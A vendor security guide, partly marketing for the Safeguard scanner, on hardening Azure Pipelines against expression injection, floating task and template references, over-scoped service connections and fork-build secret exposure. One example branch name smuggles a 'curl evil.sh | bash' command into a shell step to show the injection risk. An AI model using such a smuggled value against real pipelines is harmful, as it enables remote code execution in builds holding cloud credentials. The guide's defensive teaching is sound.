The most common Azure Pipelines incident does not begin with a zero-day. It begins with an engineer who wrote a YAML file believing it was configuration, when it was actually a program that interpolates attacker-controllable input into a shell. Azure Pipelines evaluates expressions across three layers with three different trust boundaries: compile-time template expressions (the double-brace form) resolved when the run is queued, runtime expressions in the $[ ] form resolved at job start, and macro syntax in the $( ) form resolved at task execution. Mixing those layers up — most often by echoing a macro that carries data from a fork pull request — hands an attacker command execution inside a build that holds your service connection. The industry has learned this the hard way across platforms, from the 2021 Codecov Bash Uploader compromise to the March 2025 tj-actions attack (CVE-2025-30066); Azure Pipelines carries the same trust boundaries. This guide walks the attack surface and the hardening that closes it.
The attack surface
Azure Pipelines risk concentrates in four places. Expression injection: values such as the source branch name are attacker-controlled on a pull request from a fork, and interpolating them into a script runs whatever the attacker put there. Mutable references: the TaskName@2 syntax floats to the newest minor within a major, and a template referenced by branch floats with that branch — so a compromised publisher or upstream repo silently changes your pipeline. Service connections: a broadly scoped service connection is, in effect, standing access to that Azure subscription for anyone who can run a pipeline. Fork builds and secrets: the wrong project settings expose secrets or full pipeline permissions to pull requests from forks.
Hardening step 1: never interpolate attacker input into a shell
A macro that carries fork-controlled data must never be expanded directly in a script. Pass it through an environment variable, which the shell does not re-parse as code.
# DANGEROUS - a branch named "main; curl evil.sh | bash" executes
- bash: echo "Building $(Build.SourceBranchName)"
# SAFE - the value is data in an env var, not code in the command
- bash: echo "Building $BRANCH"
env:
BRANCH: $(Build.SourceBranchName)
Apply the same rule to parameters, pull request titles, and any variable whose value can originate outside your organization.
Hardening step 2: pin tasks and template repositories
Pin template repositories to a commit, not a branch. A template runs at queue time with the triggering user's context, so whoever can push to the referenced branch controls every downstream pipeline.
resources:
repositories:
- repository: templates
type: git
name: Shared/Templates
ref: refs/tags/v2.4.0 # pin to an immutable tag or commit, never a branch
For tasks outside the Microsoft-published set, pin the specific version rather than accepting the floating major, and review Marketplace extension updates through extension management before they reach pipelines.
Hardening step 3: enforce approvals at the environment, not the YAML
An Azure DevOps environment owns its approval policy, and the service enforces it — a pipeline author cannot edit the YAML to bypass it. For every production target, create a named environment and attach required approvers.
jobs:
- deployment: deploy_prod
environment: prod-eastus # approvals and checks enforced by the service
strategy:
runOnce:
deploy:
steps:
- script: ./deploy.sh
Set at least two approvers for anything touching customer data, enable "approvers cannot approve their own runs," and add business-hours and exclusive-lock checks where they fit.
Secrets and workload identity federation
The highest-value secrets change is deleting the long-lived client secret from your Azure service connection. Azure Pipelines supports workload identity federation, which replaces the stored secret with an OIDC exchange against Microsoft Entra ID — so there is no secret in the connection to leak.
- task: AzureCLI@2
inputs:
azureSubscription: 'prod-federated-connection' # federated, no stored secret
scriptType: bash
scriptLocation: inlineScript
inlineScript: az group list --output table
Scope each service connection to the smallest Azure resource it needs — a single resource group beats subscription-level Contributor — and convert existing secret-based connections on a rolling plan. For stored secrets that remain, back variable groups with Azure Key Vault so the values are pulled at job start rather than living in Azure DevOps, mark them secret, and never echo them; the redaction is string-match based and misses transformed values.
Adding Safeguard scanning to the pipeline
Hardened YAML does not tell you whether the code you build is exploitable. Add a job that runs the Safeguard CLI so software composition analysis runs on every build.
- job: safeguard_scan
pool:
vmImage: ubuntu-latest
steps:
- checkout: self
- script: |
set -euo pipefail
curl -sSfL https://get.safeguard.sh/install.sh | sh
safeguard scan --fail-on high --sbom cyclonedx
env:
SAFEGUARD_TOKEN: $(SAFEGUARD_TOKEN) # secret variable from a Key Vault group
Safeguard's SCA engine ranks findings by reachability so the gate fails on the exploitable minority rather than the whole dependency tree, and Auto-Fix opens the upgrade pull request where a fix exists.
Hardening checklist
- Route fork-controlled values through
env:, never into a script directly - Pin template repositories to a tag or commit, not a branch
- Pin non-Microsoft task versions; review Marketplace extension updates
- Enforce approvals on named environments; block self-approval
- Convert service connections to workload identity federation and scope them tightly
- Back secret variable groups with Azure Key Vault; never echo a secret
- Keep fork PR builds from receiving secrets or full pipeline permissions
- Scan every build with reachability-aware SCA and fail on exploitable findings
Frequently Asked Questions
Why is the branch name dangerous when I only echo it?
Because macro syntax is expanded into the command line before the shell runs it, and on a pull request from a fork the branch name is attacker-controlled. A branch crafted with shell metacharacters turns your innocent echo into arbitrary command execution. Passing the value through an environment variable keeps it as inert data.
What is workload identity federation, in one sentence?
It is OIDC for Azure service connections: instead of storing a client secret, the pipeline presents a short-lived signed token that Microsoft Entra ID trusts, so there is no long-lived credential in the connection for an attacker to steal.
Can a pipeline author bypass an environment approval by editing the YAML?
No, and that is the point of environments. The approval policy is owned and enforced by the environment resource, not by the pipeline definition, so changing the YAML cannot remove the gate. This is why production targets belong behind named environments rather than YAML-only conditions.
How does Safeguard compare with other scanners for Azure teams?
Safeguard runs as a CLI step in any pipeline and via native SCM integration, prioritizing findings by reachability so your gate is meaningful. See the comparison page for how the approach differs from incumbents.
To wire these controls into your pipeline, see Safeguard CLI, SCA, Auto-Fix, the comparison page, and full setup steps in the documentation at docs.safeguard.sh.